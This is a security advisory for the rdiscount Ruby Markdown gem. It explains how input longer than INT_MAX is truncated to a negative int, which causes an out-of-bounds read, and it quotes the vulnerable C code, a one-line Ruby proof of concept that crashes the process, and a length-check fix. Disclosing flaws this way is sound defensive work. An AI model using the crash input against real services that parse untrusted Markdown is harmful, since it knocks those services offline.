GHSA-6r34-94wq-jhrc

### Summary

A signed length truncation bug causes an out-of-bounds read in the default Markdown parse path. Inputs larger than `INT_MAX` are truncated to a signed `int` before entering the native parser, allowing the parser to read past the end of the supplied buffer and crash the process

### Details

In both public entry points:

- `ext/rdiscount.c:97` - `ext/rdiscount.c:136`

`RSTRING_LEN(text)` is passed directly into `mkd_string()`:

```c MMIOT *doc = mkd_string(RSTRING_PTR(text), RSTRING_LEN(text), flags); ```

`mkd_string()` accepts `int len`:

- `ext/mkdio.c:174`

```c Document * mkd_string(const char *buf, int len, mkd_flag_t flags) { struct string_stream about;

about.data = buf; about.size = len;

return populate((getc_func)__mkd_io_strget, &about, flags & INPUT_MASK); } ```

The parser stores the remaining input length in a signed `int`:

- `ext/markdown.h:205`

```c struct string_stream { const char *data; int size; }; ```

The read loop stops only when `size == 0`:

- `ext/mkdio.c:161`

```c int __mkd_io_strget(struct string_stream *in) { if ( !in->size ) return EOF;

--(in->size);

return *(in->data)++; } ```

If the Ruby string length exceeds `INT_MAX`, the value can truncate to a negative `int`. In that state, the parser continues incrementing `data` and reading past the end of the original Ruby string, causing an out-of-bounds read and native crash.

Affected APIs:

- `RDiscount.new(input).to_html` - `RDiscount.new(input).toc_content`

### PoC

Crash via `to_html`:

```sh RUBYLIB=lib:ext ruby -e 'require "rdiscount"; n=2_200_000_000; s = "a" * n; warn "built=#{s.bytesize}"; RDiscount.new(s).to_html"' ``` result:

- `built=2200000000` - Ruby terminates with `[BUG] Segmentation fault` - top control frame: `CFUNC :to_html`

same result with `toc_content`

### Impact

This is an out-of-bounds read with the main issue being reliable denial-of-service. Impacted is limited to deployments parses attacker-controlled Markdown and permits multi-GB inputs.

### Fix

just add a checked length guard before the `mkd_string()` call in both public entry points:

- `ext/rdiscount.c:97` - `ext/rdiscount.c:136` ex: ```c VALUE text = rb_funcall(self, rb_intern("text"), 0); long text_len = RSTRING_LEN(text); VALUE buf = rb_str_buf_new(1024); Check_Type(text, T_STRING);

if (text_len > INT_MAX) { rb_raise(rb_eArgError, "markdown input too large"); }

MMIOT *doc = mkd_string(RSTRING_PTR(text), (int)text_len, flags); ```

The same guard should be applied in `rb_rdiscount_toc_content()` before its `mkd_string()` call.